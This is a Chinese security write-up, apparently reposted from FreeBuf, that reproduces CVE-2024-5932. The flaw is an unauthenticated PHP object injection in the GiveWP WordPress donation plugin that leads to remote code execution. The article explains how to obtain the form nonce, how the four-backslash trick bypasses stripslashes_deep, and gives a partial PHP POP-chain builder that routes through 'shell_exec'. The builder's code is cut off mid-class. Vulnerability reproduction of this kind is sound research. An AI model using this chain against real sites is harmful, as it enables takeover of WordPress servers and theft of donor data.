GiveWP远程命令执行复现(CVE-2024-5932)
WordPress的GiveWP插件存在反序列化漏洞(CVE-2024-5932),通过提交不安全的give_title数据可导致PHP对象注入,并结合环境中的POP链实现远程代码执行和文件删除。该漏洞影响默认配置下的WordPress站点,威胁等级为高危。 2025-8-22 03:32:43 Author: www.freebuf.com(查看原文) 阅读量:14 收藏

一、漏洞概述

1.1漏洞简介

  • 漏洞名称:GiveWP – 捐赠和筹款平台 <= 3.14.1 未经身份验证的 PHP 对象注入到远程代码执行复现

  • 漏洞编号:CVE-2024-5932

  • 漏洞类型:PHP 对象注入到远程代码执行复现

  • 漏洞威胁等级:高危

  • 影响范围:wordpress

  • 利用条件:默认配置

1.2组件描述

Give 是一款专为 WordPress 打造的在线捐赠插件,主要服务于非营利组织、慈善机构及个人项目,能快速搭建捐赠系统。它支持创建自定义捐赠表单(含固定 / 自定义金额、定期捐赠等模式),集成多种支付网关,可管理捐赠记录、生成收据,还能创建并展示捐赠项目进度;具备多语言支持、移动端适配特性,操作无需编程知识,分免费基础版与付费高级版,助力便捷高效地接收和管理捐赠。

1.3漏洞描述

Wrodpress的GiveWP插件在3.14.1以及之前的版本中存在反序列化漏洞,通过post不安全的give_title数据,易导致php对象注入,再结合环境中存在的pop链进行远程代码执行和任意文件删除。

二、漏洞复现

2.1 应用协议

http

2.2 环境搭建

安装插件

创建一个文章包含此插件

用phpstorm结合xdebug以及phpstudy搭建调试环境

这里用xdebug helper插件,具体步骤参考CSDN

本次复现使用火狐xdebug helper结合xdebug调试wordpress源码实现

参考istvanwf大佬的博客分析payload给出的完整POP链构造

漏洞切入点存在于如下

function give_process_donation_form() {

  // Sanitize Posted Data.
  $post_data = give_clean( $_POST ); // WPCS: input var ok, CSRF ok.

  // Check whether the form submitted via AJAX or not.
  $is_ajax = isset( $post_data['give_ajax'] );

  // Verify donation form nonce.
  if ( ! give_verify_donation_form_nonce( $post_data['give-form-hash'], $post_data['give-form-id'] ) ) {
    if ( $is_ajax ) {
      /**
       * Fires when AJAX sends back errors from the donation form.
       *
       * @since 1.0
       */
      do_action( 'give_ajax_donation_errors' );
      give_die();
    } else {
      give_send_back_to_checkout();
    }
  }

上述代码指出,当用户提交AJAX请求时,会检查CSRF令牌以防止csrf攻击

但是这里存在问题,根据wordpress官方文档,此give-form-hash中随机数不由客户端产生,而是由服务端生成,通过下面代码分析这里我们可以利用givewp的ajax请求参数give_form_search,获取所有可用表单id即give-form-id

后续下断点分析,givewp提供了一个为give_donation_form_nonce为用户提供给定的随机数,还提供了give-form-id参数,之后将give-form-hash值返回

之后以give_process_donation参数以及表单id以及随机数为参数发起请求

后续下断点分析,give_title参数会存储在wp_give_donormeta中

之后根据Wordfence的博客指出_give_donor_title_prefix key将反序列化

利用Give()->donor_meta->get_meta()方法

之后根据文章指出要绕过stripslashes_deep函数

stripslashes_deep函数在验证user_info数组时包含user_title属性

此为构造POP链的核心,注入中以使用命名空间引用类名,其中包含斜杠。stripslashes_deep调用stripslashes函数验证。若采用四条斜杠\\\\​​可轻松绕过

绕过方式有了,接着就要利用命令执行函数执行我们想执行的命令,这里就会又产生一个问题

分析代码,在执行命令之前,我们需要找到一个函数去调用call_user_func_array返回任何内容作为命令执行参数。

故发现了Give\Onboarding\SettingsRepository类,该方法由$name以$this->settings设置

<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protect

文章来源: https://www.freebuf.com/articles/vuls/445382.html
如有侵权请联系:admin#unsafe.sh